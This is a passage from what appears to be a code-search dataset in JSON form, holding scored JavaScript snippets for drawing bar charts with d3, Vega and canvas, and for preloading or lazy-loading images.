(BAR_HEIGHT + BAR_MARGIN)};`;\n style += `background-color: ${barData.color};`;\n bar.style = style;\n barsContainer.appendChild(bar);\n });\n }", "title": "" }, { "docid": "ece23277ee5342b33891b0d97b052d27", "score": "0.5801951", "text": "_calcBars() {\n\n\t\tconst bars = this._bars = []; // initialize object property\n\n\t\tif ( ! this._ready )\n\t\t\treturn;\n\n\t\t// helper functions\n\t\tconst binToFreq = bin => bin * this.audioCtx.sampleRate / this.fftSize || 1; // returns 1 for bin 0\n\t\tconst barsPush = ( posX, binLo, binHi, freqLo, freqHi, ratioLo, ratioHi ) => bars.push( { posX, binLo, binHi, freqLo, freqHi, ratioLo, ratioHi, peak: [0,0], hold: [0], value: [0] } );\n\n\t\tconst analyzerWidth = this._analyzerWidth,\n\t\t\t initialX = this._initialX,\n\t\t\t maxFreq = this._maxFreq,\n\t\t\t minFreq = this._minFreq;\n\n\t\tlet minLog,\tlogWidth;\n\n\t\tif ( this._isOctaveBands ) {\n\n\t\t\t// generate a 11-octave 24-tone equal tempered scale (16Hz to 33kHz)\n\n\t\t\t/*\n\t\t\t\tA simple linear interpolation is used to obtain an approximate amplitude value for the desired frequency\n\t\t\t\tfrom available FFT data, like so:\n\n\t\t\t\th = hLo + ( hHi - hLo ) * ( f - fLo ) / ( fHi - fLo )\n\t\t\t\t \\___________________________/\n\t\t\t\t |\n\t\t\t\t ratio\n\t\t\t\twhere:\n\n\t\t\t\tf - desired frequency\n\t\t\t\th - amplitude of desired frequency\n\t\t\t\tfLo - frequency represented by the lower FFT bin\n\t\t\t\tfHi - frequency represented by the higher FFT bin\n\t\t\t\thLo - amplitude of fLo\n\t\t\t\thHi - amplitude of fHi\n\n\t\t\t\tratio is calculated in advance here, to reduce computational complexity during real-time rendering in the _draw() function\n\t\t\t*/\n\n\t\t\tlet temperedScale = [];\n\n\t\t\tfor ( let octave = 0; octave < 11; octave++ ) {\n\t\t\t\tfor ( let note = 0; note < 24; note++ ) {\n\n\t\t\t\t\tconst freq = C0 * ROOT24 ** ( octave * 24 + note ),\n\t\t\t\t\t\t bin = this._freqToBin( freq, 'floor' ),\n\t\t\t\t\t\t binFreq = binToFreq( bin ),\n\t\t\t\t\t\t nextFreq = binToFreq( bin + 1 ),\n\t\t\t\t\t\t ratio = ( freq - binFreq ) / ( nextFreq - binFreq );\n\n\t\t\t\t\ttemperedScale.push( { freq, bin, ratio } );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// generate the frequency bands according to current analyzer settings\n\n\t\t\tconst steps = [0,1,2,3,4,6,8,12,24][ this._mode ]; // number of notes grouped per band for each mode\n\n\t\t\tfor ( let index = 0; index < temperedScale.length; index += steps ) {\n\t\t\t\tlet { freq: freqLo, bin: binLo, ratio: ratioLo } = temperedScale[ index ], // band start\n\t\t\t\t\t{ freq: freqHi, bin: binHi, ratio: ratioHi } = temperedScale[ index + steps - 1 ]; // band end\n\n\t\t\t\tconst nBars = bars.length,\n\t\t\t\t\t prevBar = bars[ nBars - 1 ];\n\n\t\t\t\t// if the ending frequency is out of range, we're done here\n\t\t\t\tif ( freqHi > maxFreq || binHi >= this.fftSize / 2 ) {\n\t\t\t\t\tprevBar.binHi++; // add an extra bin to the last bar, to fully include the last valid band\n\t\t\t\t\tprevBar.ratioHi = 0; // disable interpolation\n\t\t\t\t\tprevBar.freqHi = binToFreq( prevBar.binHi ); // update ending frequency\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t// is the starting frequency in the selected range?\n\t\t\t\tif ( freqLo >= minFreq ) {\n\t\t\t\t\tif ( nBars > 0 ) {\n\t\t\t\t\t\tconst diff = binLo - prevBar.binHi;\n\n\t\t\t\t\t\t// check if we skipped any available FFT bins since the last bar\n\t\t\t\t\t\tif ( diff > 1 ) {\n\t\t\t\t\t\t\t// allocate half of the unused bins to the previous bar\n\t\t\t\t\t\t\tprevBar.binHi = binLo - ( diff >> 1 );\n\t\t\t\t\t\t\tprevBar.ratioHi = 0;\n\t\t\t\t\t\t\tprevBar.freqHi = binToFreq( prevBar.binHi ); // update ending frequency\n\n\t\t\t\t\t\t\t// if the previous bar doesn't share any bins with other bars, no need for interpolation\n\t\t\t\t\t\t\tif ( nBars > 1 && prevBar.binHi > prevBar.binLo && prevBar.binLo > bars[ nBars - 2 ].binHi ) {\n\t\t\t\t\t\t\t\tprevBar.ratioLo = 0;\n\t\t\t\t\t\t\t\tprevBar.freqLo = binToFreq( prevBar.binLo ); // update starting frequency\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// start the current bar at the bin following the last allocated bin\n\t\t\t\t\t\t\tbinLo = prevBar.binHi + 1;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// if the lower bin is not shared with the ending frequency nor the previous bar, no need to interpolate it\n\t\t\t\t\t\tif ( binHi > binLo && binLo > prevBar.binHi ) {\n\t\t\t\t\t\t\tratioLo = 0;\n\t\t\t\t\t\t\tfreqLo = binToFreq( binLo );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tbarsPush( 0, binLo, binHi, freqLo, freqHi, ratioLo, ratioHi );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tthis._barWidth = analyzerWidth / bars.length;\n\n\t\t\tbars.forEach( ( bar, index ) => bar.posX = initialX + index * this._barWidth );\n\n\t\t\tminLog = Math.log10( bars[0].freqLo );\n\t\t\tlogWidth = analyzerWidth / ( Math.log10( bars[ bars.length - 1 ].freqHi ) - minLog );\n\t\t}\n\t\telse {\n\n\t\t\t// Discrete frequencies modes\n\n\t\t\tthis._barWidth = 1;\n\n\t\t\tminLog = Math.log10( minFreq );\n\t\t\tlogWidth = analyzerWidth / ( Math.log10( maxFreq ) - minLog );\n\n\t\t\tconst minIndex = this._freqToBin( minFreq, 'floor' ),\n\t\t\t\t maxIndex = this._freqToBin( maxFreq );\n\n\t \t\tlet lastPos = -999;\n\n\t\t\tfor ( let i = minIndex; i <= maxIndex; i++ ) {\n\t\t\t\tconst freq = binToFreq( i ), // frequency represented by this index\n\t\t\t\t\t pos = initialX + Math.round( logWidth * ( Math.log10( freq ) - minLog ) ); // avoid fractionary pixel values\n\n\t\t\t\t// if it's on a different X-coordinate, create a new bar for this frequency\n\t\t\t\tif ( pos > lastPos ) {\n\t\t\t\t\tbarsPush( pos, i, i, freq, freq, 0, 0 );\n\t\t\t\t\tlastPos = pos;\n\t\t\t\t} // otherwise, add this frequency to the last bar's range\n\t\t\t\telse if ( bars.length ) {\n\t\t\t\t\tbars[ bars.length - 1 ].binHi = i;\n\t\t\t\t\tbars[ bars.length - 1 ].freqHi = freq;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// save these for scale generation\n\t\tthis._minLog = minLog;\n\t\tthis._logWidth = logWidth;\n\n\t\t// update internal variables\n\t\tthis._calcAux();\n\n\t\t// generate the X-axis and radial scales\n\t\tthis._createScales();\n\n\t\t// update LED properties\n\t\tthis._calcLeds();\n\t}", "title": "" }, { "docid": "6d4e98dbe8da9c399f887301eaf62d01", "score": "0.5792641", "text": "function drawTotalRevChart(data){\n data = reformatData(data);\n //sort bars based on value\n\n //set up svg using margin conventions - we'll need plenty of room on the left for labels\n var margin = {\n top: 15,\n right: 120,\n bottom: 30,\n left: 60\n };\n\n var width = 960 - margin.left - margin.right,\n height = 500 - margin.top - margin.bottom;\n\n var svg = d3.select(\"#total_rev_by_date_chart_wrapper\").append(\"svg\")\n .attr('viewBox', '0 0 960 500')\n .append(\"g\")\n .attr('class','chart_wrapper')\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n svg.call(tip); \n\n var y = d3.scale.linear()\n .range([height, 0])\n .domain([0, d3.max(data, function(d) { \n return d.totalrev;\n })]);\n \n var x = d3.scale.ordinal()\n .rangeRoundBands([0, width], .1)\n .domain(data.map(function(d) {\n return d.daysold;\n }));\n\n //make y axis to show bar names\n var yAxis = d3.svg.axis()\n .scale(y)\n //no tick marks\n .tickSize(0)\n .orient(\"left\");\n\n var xAxis = d3.svg.axis().scale(x).tickSize(6).orient('bottom').tickFormat(function(d){return 'Day'+d;});\n\n var gy = svg.append(\"g\")\n .attr(\"class\", \"y axis\")\n .call(yAxis)\n\n var gx = svg.append(\"g\")\n .attr(\"class\", \"x axis\")\n .attr(\"transform\", \"translate(0,\" + height + \")\")\n .call(xAxis)\n\n var bars = svg.selectAll(\".bar\")\n .data(data)\n .enter()\n .append(\"g\")\n\n //append rects\n bars.append(\"rect\")\n // .transition()\n .attr(\"class\", \"bar\")\n .attr(\"y\", function(d) {\n return y(d.totalrev);\n })\n .attr(\"height\",function(d){\n return height - y(d.totalrev)\n })\n .attr(\"x\", function(d){\n return x(d.daysold);\n })\n .attr(\"width\",function(d){ \n return x.rangeBand();\n })\n .on(\"mouseover\", tip.show)\n .on(\"mouseout\", tip.hide);\n }", "title": "" }, { "docid": "9f2ac8914137a69e13eaf5c9e4b4d0ca", "score": "0.5785818", "text": "prepareGroupedBarGraph(spec, data) {\r\n /** Grouped Bar Chart Legend check */\r\n if (spec.showLegend) {\r\n this.barLegend = [\r\n {\r\n 'title': spec.legendTitle,\r\n 'orient': spec.legendOrient,\r\n 'direction': spec.legendDirection,\r\n 'fill': 'color',\r\n 'gradientLength': { 'signal': 'clamp(child_height, 64, 200)' },\r\n 'symbolType': 'square'\r\n }\r\n ];\r\n }\r\n this.barAxes = [\r\n { 'orient': 'left', 'scale': 'yscale', 'tickSize': 0, 'labelPadding': 8, 'zindex': 1, 'title': spec.yaxis },\r\n { 'orient': 'bottom', 'scale': 'xscale', 'grid': true, 'title': spec.xaxis }\r\n ];\r\n this.barScales = [\r\n {\r\n 'name': 'yscale',\r\n 'type': 'band',\r\n 'domain': { 'data': this.dataField, 'field': this.xAxisField },\r\n 'range': 'height',\r\n 'padding': 0.2\r\n },\r\n {\r\n 'name': 'xscale',\r\n 'type': 'linear',\r\n 'domain': { 'data': this.dataField, 'field': this.valueField },\r\n 'range': 'width'\r\n },\r\n {\r\n 'name': 'color',\r\n 'type': 'ordinal',\r\n 'domain': { 'data': this.dataField, 'field': this.yAxisField },\r\n 'range': { 'scheme': this.barConfig.barColourScheme }\r\n }\r\n ];\r\n this.barMarks = {\r\n 'type': 'group',\r\n 'from': {\r\n 'facet': {\r\n 'data': this.dataField,\r\n 'name': 'facet',\r\n 'groupby': this.xAxisField\r\n }\r\n },\r\n 'encode': {\r\n 'enter': {\r\n 'y': { 'scale': 'yscale', 'field': this.xAxisField }\r\n }\r\n },\r\n 'signals': [\r\n { 'name': 'height', 'update': 'bandwidth(\\'yscale\\')' }\r\n ],\r\n 'scales': [\r\n {\r\n 'name': 'pos',\r\n 'type': 'band',\r\n 'range': 'height',\r\n 'domain': { 'data': 'facet', 'field': this.yAxisField }\r\n }\r\n ],\r\n 'marks': [\r\n {\r\n 'name': 'bars',\r\n 'from': { 'data': 'facet' },\r\n 'type': 'rect',\r\n 'encode': {\r\n 'update': {\r\n 'y': { 'scale': 'pos', 'field': this.yAxisField },\r\n 'height': { 'scale': 'pos', 'band': 1 },\r\n 'x': { 'scale': 'xscale', 'field': this.valueField },\r\n 'x2': { 'scale': 'xscale', 'value': 0 },\r\n 'fill': { 'scale': 'color', 'field': this.yAxisField },\r\n 'fillOpacity': { 'value': 1 }\r\n },\r\n 'hover': {\r\n 'fillOpacity': { 'value': 0.7 }\r\n }\r\n }\r\n }\r\n ]\r\n };\r\n /** Grouped Bar Chart tooltip check */\r\n if (spec.showToolTip) {\r\n if (this.barMarks && this.barMarks.marks && this.barMarks.marks[0].encode.update) {\r\n this.barMarks.marks[0].encode.update['tooltip'] = {\r\n 'signal': `{\\\"${this.xAxisField}\\\": ''+datum[\\\"${this.xAxisField}\\\"], \\\"${this.yAxisField}\\\": format(datum[\\\"${this.yAxisField}\\\"], \\\"\\\")}`\r\n };\r\n }\r\n }\r\n this.barGraphData.data = data;\r\n }", "title": "" }, { "docid": "4281dd9064ec82b8641b4aeae3793791", "score": "0.5784146", "text": "function staircase() {\n var c = document.getElementById(\"barChart1\").children;\n var i;\n for (i = 0; i < c.length; i++) {\n var height = (i+1)*10;\n c[i].setAttribute(\"width\", 10);\n c[i].setAttribute(\"height\", height);\n c[i].setAttribute(\"y\", 190-height);\n c[i].setAttribute(\"x\", i*10);\n }\n //alert(\"children: \" + c);\n //barChart1 = document.getElementById(\"barChart1\");\n}", "title": "" }, { "docid": "b2aa4b48be45ce86fd0a9bfcf8b61239", "score": "0.5783134", "text": "function bar(d, svg, x, xAxis, width, height,index) {\n var bar = svg.insert(\"g\", \".y.axis\")\n .attr(\"class\", \"enter\")\n .attr(\"transform\", \"translate(0,5)\")\n \t .selectAll(\"g\")\n .data(d.children)\n\t\t.enter().append(\"g\")\n .style(\"cursor\", function(d) { return !d.children ? null : \"pointer\"; })\n .on(\"mouseover\",function(d,i){\n \t\tif(index==currentPos){\n\t\t\t\tvar txt=d3.select(\"#\"+d.id);\n\t\t\t\ttxt.style('color',colorSelected);\n\t\t\t}\n })\n .on(\"mouseout\",function(d,i){\n \t\tif(index==currentPos){\n\t\t\t\tvar txt=d3.select(\"#\"+d.id);\n\t\t\t\ttxt.style('color',null);\n \t\t}\n })\n .on(\"click\", function(d,i){\n down(d, i, svg, x, xAxis, width, height,1,index);\n });\n\n bar.append(\"text\")\n .attr(\"x\", -6)\n .attr(\"y\", barHeight / 2)\n .attr(\"dy\", \".35em\")\n .style(\"text-anchor\", \"end\")\n .text(function(d) { return d.name; });\n\n bar.append(\"rect\")\n .attr(\"width\", function(d) { return x(d.value); })\n .attr(\"height\", barHeight);\n\t //.attr(\"title\",function(d){return d.value});\n\n return bar;\n}", "title": "" }, { "docid": "0b19341f5cc4017b01a993f5476fb663", "score": "0.5780433", "text": "function barchart_tap_pre() {\n\n var svg = d3.select(\"#tap_pre_bars\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", (height + margin.top + margin.bottom));\n \n // Load data:\n var idate = 0;\n d3.csv(data_file, function (error, data) {\n\n // axes:\n data.forEach(function (d) {\n idate = idate + 1;\n d.date = parseDate(d.date);\n d.datenum = idate;\n });\n xScale = d3.scale.linear() // time.scale()\n .range([0, width])\n .domain([0, idate]); //data.map(function (d) { return +d.datenum; }));\n xAxis = d3.svg.axis().scale(xScale).orient(\"bottom\").ticks(31);\n yAxis = d3.svg.axis()\n .scale(yScale)\n .orient(\"left\")\n .ticks(1);\n svg.append(\"g\")\n .attr(\"class\", \"x axis\")\n .attr(\"transform\", \"translate(0,80)\")\n .call(xAxis);\n svg.append(\"g\")\n .attr(\"class\", \"y axis\")\n .attr(\"transform\", \"translate(-10,0)\")\n .call(yAxis);\n svg.select(\"g.x\").call(xAxis);\n svg.select(\"g.y\").call(yAxis);\n\n svg.selectAll(\".bar\")\n .data(data)\n .enter().append(\"rect\")\n .attr(\"class\", \"bar\")\n .attr(\"x\", function(d, i) {return i * (width / data.length);})\n .attr(\"y\", function(d){return bar_height - yScale(d.tap_pre);})\n .attr(\"width\", width / data.length)\n .attr(\"height\", function(d) {return yScale(d.tap_pre);})\n .attr(\"fill\", tap_pre_color)\n .style(\"opacity\", barchart_opacity);\n\n // horizontal line to compare against:\n var line_height = (1 - control_voice) * height/4;\n var myLine = svg.append(\"svg:line\")\n .attr(\"x1\", 0)\n .attr(\"y1\", line_height)\n .attr(\"x2\", width)\n .attr(\"y2\", line_height)\n .style(\"stroke\", \"lightgray\");\n\n\n });\n }", "title": "" }, { "docid": "1ff133dcc1d4e4ad9626eb74e45cb06e", "score": "0.57750523", "text": "function drawSliderBar()\n{\n /* Reference to the canvas's rendering context */\n var context = document.getElementById(\"canvas\").getContext(\"2d\");\n context.beginPath();\n context.moveTo(x, y + radius);\n\n /* Draws left lower arc */\n context.lineTo(x, y + height - radius);\n context.quadraticCurveTo(x, y + height, x + radius, y + height);\n \n /* Draws right lower arc */\n context.lineTo(x + width - radius, y + height);\n context.quadraticCurveTo(x + width, y + height, x + width, y + height - radius);\n \n /* Draws right upper arc */\n context.lineTo(x + width, y + radius);\n context.quadraticCurveTo(x + width, y, x + width - radius, y);\n \n /* Draws left upper arc */\n context.lineTo(x + radius, y);\n context.quadraticCurveTo(x, y, x, y + radius);\n \n context.save();\n /* Clip to the rounded rect path */\n context.clip();\n /* Fill the bar with a dark red color */\n context.fillStyle = \"darkred\";\n context.stroke();\n context.fillRect(x, y, width, height);\n}", "title": "" }, { "docid": "b78c036d4fb4a1bc2528692b3d0a81d6", "score": "0.5772652", "text": "function staircase() {\n // ****** TODO: PART II ******\n let barchart = document.querySelector(\"#aBarChart\");\n let children = barchart.querySelectorAll(\"rect\");\n children = Array.from(children);\n children.sort((a, b) => {\n return a.attributes.width.nodeValue - b.attributes.width.nodeValue;\n });\n children.forEach((c, i) => {\n c.attributes.transform.value = `translate(18, ${i * 20}) scale(-1,1)`;\n barchart.appendChild(c);\n addMouseHoverEvent(c);\n });\n}", "title": "" }, { "docid": "ccb1fcd92928bf3dcc0a0063e09eac12", "score": "0.57718235", "text": "function BarChartFactory(){}", "title": "" }, { "docid": "ccb1fcd92928bf3dcc0a0063e09eac12", "score": "0.57718235", "text": "function BarChartFactory(){}", "title": "" }, { "docid": "8d4aa9872fbb19b68fb51646194ec228", "score": "0.5770891", "text": "function staircase() {\n // ****** TODO: PART II ******\n let barchart = document.querySelector(\"#aBarChart\");\n let children = barchart.querySelectorAll(\"rect\");\n children = Array.from(children);\n children.sort((a, b) => {\n return a.attributes.width.nodeValue - b.attributes.width.nodeValue;\n });\n children.forEach((c, i) => {\n c.attributes.transform.value = `translate(0, ${i * 14}) scale(-1,1)`;\n barchart.appendChild(c);\n addMouseHoverEvent(c);\n });\n}", "title": "" }, { "docid": "776deb9803b89baace4d5081d02a9d87", "score": "0.576877", "text": "function staircase() {\n // ****** TODO: PART II ******\n let svg = document.getElementById('first_bar_chart');\n let rects = [...svg.getElementsByTagName(\"rect\")];\n\n rects = rects.sort((a, b) => getValue(a) - getValue(b));\n\n let y = 0;\n for (let i = 0; i < rects.length; i++){\n rects[i].setAttribute(\"y\", y);\n rects[i].setAttribute(\"fill\", \"#5482B2\");\n svg.appendChild(rects[i]);\n y += 18;\n }\n}", "title": "" } ]
79a34b2bb77d3ec1845a1a11bb93e095
preloads imgFiles for faster loading
[ { "docid": "2d8cd5bc7a025ea4c45c47f1c94c6342", "score": "0.0", "text": "function toInt(n){ return Math.round(Number(n)); }", "title": "" } ]
[ { "docid": "ddfd5bf47654b71bd679301ae1ec85df", "score": "0.80506986", "text": "function preloader() {\r\n const imagesList = [\r\n \"./img/windrader.jpg\",\r\n \"./img/photovoltaic-system.jpg\",\r\n \"./img/hydro.jpg\"\r\n ];\r\n \r\n const images = [];\r\n for (let i = 0; i < imagesList.length; i++) {\r\n images[i] = new Image();\r\n images[i].src = imagesList[i];\r\n }\r\n\r\n // Images ready to be used:\r\n console.log(`Preloaded images:\\n\\t${images[0].src}\\n\\t${images[1].src}\\n\\t${images[2].src}`);\r\n }", "title": "" }, { "docid": "eba241dc695e04b23a9580e922104801", "score": "0.75972146", "text": "function preLoad() {\n\n function loadit(el) {\n el.onload = function() {\n window.console.log('yay! an image preloaded!');\n };\n }\n\n for (var i = 0; i < images.length; i++) {\n var img = new Image();\n var path = images[i];\n img.src = path;\n loadit(img);\n }\n\n}", "title": "" }, { "docid": "fcdd2785f6981cd1734a427d1fa6e93a", "score": "0.7549058", "text": "function preload() {\n img1 = loadImage('assets/image1.jpg'); // Load the image\n img2 = loadImage('assets/image2.jpg');\n img3 = loadImage('assets/image3.jpg');\n img4 = loadImage('assets/image4.jpg');\n img5 = loadImage('assets/image5.jpg');\n img6 = loadImage('assets/image6.jpg');\n}", "title": "" }, { "docid": "9ec52838884784fdd0f11413804f2d34", "score": "0.7547564", "text": "function preload() {\n\n // uploading images\n imgMask = loadImage(\"assets/spirited-away.png\");\n imgDaftPunk = loadImage(\"assets/daft.png\");\n imgDogNose = loadImage(\"assets/dog-nose.png\");\n imgDogEarRight = loadImage(\"assets/dog-ear-right.png\");\n imgDogEarLeft = loadImage(\"assets/dog-ear-left.png\");\n}", "title": "" }, { "docid": "99791ca10742f945901d67861afb34cd", "score": "0.75286245", "text": "function preloadImages() {\n for (let i = 0; i < imagePaths.length; i++) {\n let image = new Image();\n image.src = imagePaths[i];\n images.push(image); // push image-path to images-array (which contains all image-paths)\n }\n}", "title": "" }, { "docid": "0174218e5ac565bc874454bc9ad4c932", "score": "0.7514884", "text": "function preload(){\n loadImages();\n}", "title": "" }, { "docid": "0a03a99f81531028d3c47c15414dcff8", "score": "0.7495024", "text": "function preloadImages() {\n\n for (let i = 0; i < imagePaths.length; i++) {\n let image = new Image();\n image.src = imagePaths[i];\n images.push(image); // push image-path to images-array (which contains all image-paths)\n }\n\n}", "title": "" }, { "docid": "b635100db345698ac37e4ba469aa87d7", "score": "0.7471019", "text": "function preload() {\n selectionBoxImg = loadImage(\"https://png.icons8.com/ios-glyphs/40/000000/select-none.png\");\n paintBrushImg = loadImage(\"https://png.icons8.com/windows/40/000000/paint-brush.png\");\n fillCanImg = loadImage(\"https://png.icons8.com/metro/40/000000/fill-color.png\");\n eyeDropperImg = loadImage(\"https://png.icons8.com/material-rounded/40/000000/color-dropper.png\");\n moveToolImg = loadImage(\"https://png.icons8.com/material-two-tone/40/000000/move.png\");\n moveHandImg = loadImage(\"https://png.icons8.com/small/40/000000/four-fingers.png\");\n\n for(let src of imageSourceArray) {\n imageFiles.push(loadImage(src));\n }\n}", "title": "" }, { "docid": "75132b1be266368134f4b9461f8fa7a7", "score": "0.73964024", "text": "function preload() {\n var lastLoadedImage = 0;\n loadNext();\n function loadNext() {\n if (lastLoadedImage >= preloadImages.length) {\n mainInit();\n } else {\n var img = new Image();\n img.src = preloadImages[lastLoadedImage];\n img.onload = loadNext;\n }\n lastLoadedImage++;\n }\n}", "title": "" }, { "docid": "6835d93bdbf2fde6b7046c0ff8e5a0ba", "score": "0.73679155", "text": "function startPreloading() {\n clearTimeout(delayTimeOut);\n delayTimeOut = setTimeout(function () {\n preloadImages(getNextImages(numberNextImages));\n preloadImages(getPrevImages(numberPrevImages));\n }, delay);\n }", "title": "" }, { "docid": "cdacd33caecd328d78260c050a366de8", "score": "0.7360402", "text": "function preload(sources) // preloads imgFiles for faster loading\n{\n var images = [];\n for (i = 0, length = sources.length; i < length; ++i) {\n images[i] = new Image();\n images[i].src = sources[i];\n }\n}", "title": "" }, { "docid": "1c49c25669cb2ac03275623d0aafb8f8", "score": "0.7294585", "text": "function preload() {\n images[0] = loadImage('assets/1.png');\n images[1] = loadImage('assets/2.png');\n images[2] = loadImage('assets/3.png');\n images[3] = loadImage('assets/4.png');\n images[4] = loadImage('assets/5.png');\n images[5] = loadImage('assets/PNG.png');\n}", "title": "" }, { "docid": "c39eb1e3daa6da6bd050295ee093f222", "score": "0.7236073", "text": "function preload() {\n for (let i = 0; i < NUM_ANIMAL_IMAGES; i++) {\n let animalImage = loadImage(`assets/images/animal${i}.png`);\n animalImages.push(animalImage);\n }\n\n sausageDogImage = loadImage(`assets/images/sausage-dog.png`);\n}", "title": "" }, { "docid": "5c47ef6d4a7dd018283c8244801e832c", "score": "0.720686", "text": "function _loadImages() {\n SDE.log.group('loadImages');\n\n var preloadClass = this.config.get('preloadClass'),\n sourceAttribute = this.config.get('sourceAttribute'),\n loader = this;\n\n SDE.$('img[' + sourceAttribute + ']').each(function () {\n var node = SDE.$(this);\n\n node.addClass(preloadClass);\n _loadNode.apply(loader, [node]);\n });\n }", "title": "" }, { "docid": "17835dbf69eeb8fbacc33df1a93f99dc", "score": "0.718716", "text": "function preload() {\n tigerImg = loadImage(\"assets/images/tiger.png\");\n lionImg = loadImage(\"assets/images/lion.png\");\n antelopeImg = loadImage(\"assets/images/antelope.png\");\n zebraImg = loadImage(\"assets/images/zebra.png\");\n beeImg = loadImage(\"assets/images/bee.png\");\n}", "title": "" }, { "docid": "41b202424c0bb6cef671e48f907a99a1", "score": "0.7167763", "text": "function preloader() {\n if (document.images) {\n var img1 = new Image();\n var img2 = new Image();\n var img3 = new Image();\n var img4 = new Image();\n var img5 = new Image();\n var img6 = new Image();\n\n img1.src = \"../skyrim_source/backgrounds/back1.jpg\";\n img2.src = \"../skyrim_source/backgrounds/back2.jpg\";\n img3.src = \"../skyrim_source/backgrounds/back3.jpg\";\n img4.src = \"../skyrim_source/backgrounds/back4.jpg\";\n img5.src = \"../skyrim_source/backgrounds/back5.jpg\";\n img6.src = \"../skyrim_source/backgrounds/back6.jpg\";\n }\n }", "title": "" }, { "docid": "934b3f4dd505d4638bd8679de19dee38", "score": "0.7142079", "text": "function preloadImage(images){\n\ttry{\n\t\tif(images instanceof Array){\n\t\t\tfor(var i=0; i<images.length; i++){\n\t\t\t\tvar image = images[i];\n\t\t\t\tvar imgObj = new Image();\n\t\t\t\n\t\t\t\t$(imgObj).load(function(){ }).error(function(){ }).prop('src', image);\n\t\t\t}\n\t\t}else{\n\t\t\tvar imgObj = new Image();\n\t\t\t$(imgObj).load(function(){ }).error(function(){ }).prop('src', images);\n\t\t}\n\t}catch(err){\n\n\t}\t\n}", "title": "" }, { "docid": "10489039b3d1aabbb2b4969c5af85a01", "score": "0.71189004", "text": "function preload(arrayOfImages) {\n\t $(arrayOfImages).each(function(){\n\t $('<img/>')[0].src = this;\n\t \n\t });\n\t}", "title": "" }, { "docid": "96bb0d0c8fd305afbbd37d49a02f92a3", "score": "0.71024936", "text": "function preload(preloadPath, preloadImages) {\n console.log(\"Preloading assets passed by window.onload function...\");\n assetsPath = preloadPath;\n var lastLoaded = 0;\n loadNext();\n \n function loadNext() {\n if (lastLoaded >= preloadImages.length) {\n mainInit();\n } else {\n var img = new Image();\n img.src = preloadPath + '/' + preloadImages[lastLoaded];\n img.onload = loadNext;\n console.log(\"preload image: \" + img.src);\n }\n lastLoaded++;\n }\n}", "title": "" }, { "docid": "f7a16c49fd3590bc7e666eaadbfccd9b", "score": "0.7098592", "text": "function preloadImages(){\n for (i = 0; i<nImages; i++) {\n alienImage = new Image();\n alienImage.src = 'images/alien'+(i+1)+'.svg';\n Images[i] = {\n image:alienImage\n };\n }\n $.message('Images have been loaded');\n}", "title": "" }, { "docid": "9ff9290d961da95273967257336f6a83", "score": "0.70861685", "text": "function preload(){\nimg1 = loadImage(\"assets/images/thing1.png\");\n\nimg2 = loadImage(\"assets/images/thing2.png\");\n}", "title": "" }, { "docid": "d61e318c0955d4da3840ca691040281f", "score": "0.7082267", "text": "function preload() {\n // put preload code here\n myImage1 = loadImage(\"./assets/images/man.png\");\n myImage2 = loadImage(\"./assets/images/strada.png\");\n myImage3 = loadImage(\"./assets/images/house.png\");\n myImage4 = loadImage(\"./assets/images/house.png\");\n myImage5 = loadImage(\"./assets/images/woman.png\");\n myImage6 = loadImage(\"./assets/images/man2.png\");\n}", "title": "" }, { "docid": "9c3de085eb44e01adc42102ae892d352", "score": "0.707865", "text": "function preload() {\n srcImg = loadImage(sourceImagePath);\n desImg = loadImage(sourceImagePath);\n srcTxt = loadStrings(sourceTextPath);\n}", "title": "" }, { "docid": "8fb5404c303450db3f63a23d3e9e7a81", "score": "0.70732373", "text": "function preload() {\n images[0] = loadImage('assets/one.png');\n images[1] = loadImage('assets/two.png');\n images[2] = loadImage('assets/three.png');\n images[3] = loadImage('assets/four.png');\n images[4] = loadImage('assets/five.png');\n images[5] = loadImage('assets/splash.png');\n}", "title": "" }, { "docid": "358b7664fbadf34faa6af80c615f0505", "score": "0.70715696", "text": "function preload() {\n tigerImage = loadImage(\"assets/images/tigerPredator.png\");\n lionImage = loadImage(\"assets/images/lionPredator.png\");\n antelopeImage = loadImage(\"assets/images/antelopePrey.png\");\n zebraImage = loadImage(\"assets/images/zebraPrey.png\");\n beeImage = loadImage(\"assets/images/beePrey.png\");\n}", "title": "" }, { "docid": "1baae3f270b271e00cc75a0e287425f8", "score": "0.70461744", "text": "function preload() {\n imgIta = loadImage('assets/italy.png');\n imgSpa = loadImage('assets/spain.png');\n imgFra = loadImage('assets/france.png');\n imgJpn = loadImage('assets/japan.png');\n imgAus = loadImage('assets/australia.png');\n imgGer = loadImage('assets/germany.png');\n}", "title": "" }, { "docid": "6bfdccd9c7299b50026683c14298631a", "score": "0.7023418", "text": "function preload() {\r\n //The images need to be preloaded. Here they are loaded into an array (essentially a list)\r\n pictureList = [];\r\n var imgCount = 6; //total number of images\r\n //use a for loop to load all 6 images into the array\r\n for (var i = 0; i < imgCount; i++) {\r\n pictureList[i] = loadImage(\"p5_images/\"+(i + 1) + \".png\");\r\n }\r\n}", "title": "" }, { "docid": "7b5470e76cd653b648d738d5b479ac8d", "score": "0.7010808", "text": "function preloadImages(array) {\n if (!preloadImages.list) {\n preloadImages.list = [];\n }\n var list = preloadImages.list;\n for (var i = 0; i < array.length; i++) {\n var img = new Image();\n img.onload = function() {\n var index = list.indexOf(this);\n if (index !== -1) {\n // remove image from the array once it's loaded\n // for memory consumption reasons\n list.splice(index, 1);\n }\n }\n list.push(img);\n img.src = array[i];\n }\n }", "title": "" }, { "docid": "58ed0edc2bbf6be9594f78264bc151d3", "score": "0.69892967", "text": "_loadImagesCore () {\n const images = this.container.querySelectorAll('img')\n const containerScrollTop = this.container.nodeType === 9 ? document.documentElement.scrollTop : this.container.scrollTop\n const containerHeight = this.container.nodeType === 9 ? document.documentElement.clientHeight : this.container.offsetHeight\n\n // load condition\n // in some layout, if one image fits this condition, the following images fit, too.\n // this can be set a configuration.\n const hasNotLoadedImages = [ ...images ].filter((image) => {\n const loadedThisImage = image.dataset['__loaded']\n const hasSrc = image.dataset['src']\n\n // hasn't loaded & has src\n return !loadedThisImage 